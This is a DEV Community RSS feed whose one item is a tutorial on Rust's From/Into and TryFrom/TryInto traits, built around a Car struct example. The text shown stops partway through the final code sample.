<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Peter Blockman</title>
    <description>The latest articles on DEV Community by Peter Blockman (@peterblockman).</description>
    <link>https://dev.to/peterblockman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F270757%2F395d0326-8908-41a0-a8ec-2513c290d6d4.png</url>
      <title>DEV Community: Peter Blockman</title>
      <link>https://dev.to/peterblockman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/peterblockman"/>
    <language>en</language>
    <item>
      <title>Quick guide to Rust's From/Into and TryFrom/TryInto Traits</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Sat, 29 Jul 2023 09:06:50 +0000</pubDate>
      <link>https://dev.to/peterblockman/quick-guide-to-rusts-frominto-and-tryfromtryinto-traits-3gf1</link>
      <guid>https://dev.to/peterblockman/quick-guide-to-rusts-frominto-and-tryfromtryinto-traits-3gf1</guid>
      <description>&lt;p&gt;While working with Rust, I find myself implementing a lot of From/Into or TryFrom/TryInto traits in my code. Whether you're dealing with simple conversions or handling more complex scenarios with potential errors, mastering these traits is key to writing elegant Rust code.&lt;/p&gt;

&lt;h2&gt;
  
  
  From and Into Traits
&lt;/h2&gt;

&lt;p&gt;We use the &lt;a href="https://doc.rust-lang.org/std/convert/trait.From.html"&gt;From trait&lt;/a&gt; trait to convert another type to our type. When we implement the From trait for our type, Rust automatically provides an implementation of the &lt;a href="https://doc.rust-lang.org/std/convert/trait.Into.html"&gt;Into trait&lt;/a&gt; trait to convert our type to that another type.&lt;/p&gt;

&lt;p&gt;Let's consider a scenario where we have a &lt;code&gt;Car&lt;/code&gt; struct with a property called &lt;code&gt;brand&lt;/code&gt;, which is of type &lt;code&gt;String&lt;/code&gt;. Now, suppose we have a variable &lt;code&gt;brand_1: String&lt;/code&gt;, and we want to convert it to an instance of &lt;code&gt;Car&lt;/code&gt;. We need to implement the From trait for the &lt;code&gt;Car&lt;/code&gt; struct.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class="nd"&gt;#[allow(dead_code)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;From&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;brand&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;brand_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FORD"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_1: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// car_1: Car { Brand: "FORD" }&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;if we want to convert a &lt;code&gt;Car&lt;/code&gt; into a &lt;code&gt;String&lt;/code&gt; type, it might be natural to assume that we can achieve this by using the Into trait. However, in Rust, it is not the recommended approach, as the Rust &lt;a href="https://doc.rust-lang.org/std/convert/trait.Into.html"&gt;documentation&lt;/a&gt; states: &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;One should avoid implementing &lt;a href="https://doc.rust-lang.org/std/convert/trait.Into.html"&gt;&lt;code&gt;Into&lt;/code&gt;&lt;/a&gt; and implement &lt;a href="https://doc.rust-lang.org/std/convert/trait.From.html"&gt;&lt;code&gt;From&lt;/code&gt;&lt;/a&gt; instead. Implementing &lt;a href="https://doc.rust-lang.org/std/convert/trait.From.html"&gt;&lt;code&gt;From&lt;/code&gt;&lt;/a&gt; automatically provides one with an implementation of &lt;a href="https://doc.rust-lang.org/std/convert/trait.Into.html"&gt;&lt;code&gt;Into&lt;/code&gt;&lt;/a&gt; thanks to the blanket implementation in the standard library.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Therefore, following this guideline, we will implement &lt;code&gt;From&lt;/code&gt; trait for the &lt;code&gt;String&lt;/code&gt; type. This will enable us to invoke &lt;code&gt;into&lt;/code&gt; on a variable of &lt;code&gt;String&lt;/code&gt; type to convert it to a &lt;code&gt;Car&lt;/code&gt; instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class="nd"&gt;#[allow(dead_code)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;From&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;brand&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;From&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Car&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="py"&gt;.brand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;brand_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FORD"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; 
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_1: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// car_1: Car { brand: "FORD" }&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_1_brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_1_brand: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_1_brand&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// car_1_brand: "FORD"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  TryFrom and TryInto Traits
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://doc.rust-lang.org/std/convert/trait.TryFrom.html"&gt;TryFrom&lt;/a&gt; and &lt;a href="https://doc.rust-lang.org/std/convert/trait.TryInto.html"&gt;TryInto&lt;/a&gt; traits are similar to the From and Into traits, but they handle conversions with the consideration of potential errors.&lt;/p&gt;

&lt;p&gt;In our case, let's say we want to ensure that our &lt;code&gt;Car&lt;/code&gt; struct does not accept an empty brand name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class="nd"&gt;#[allow(dead_code)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;TryFrom&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid brand name"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;brand&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;brand_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FORD"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_1: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Car { brand: "FORD" }&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_err&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_2: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// "Invalid brand name"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we want to allow the conversion of our &lt;code&gt;Car&lt;/code&gt; struct to a &lt;code&gt;String&lt;/code&gt;, but not for certain specific brands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class="nd"&gt;#[allow(dead_code)]&lt;/span&gt;
&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;TryFrom&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;brand&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid brand name"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Car&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;brand&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;TryFrom&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Car&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="n"&gt;Error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="py"&gt;.brand&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"KIA"&lt;/span&gt; &lt;span class="p"&gt;||&lt;/span&gt; &lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="py"&gt;.brand&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"BMW"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
             &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Not allowed!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="py"&gt;.brand&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;brand_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"FORD"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;brand_1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_1: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Car { brand: "FORD" }&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;car_2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Car&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;String&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_err&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nd"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"car_2: {:?}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;car_2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// "Invalid brand name"&lt;/span&gt;

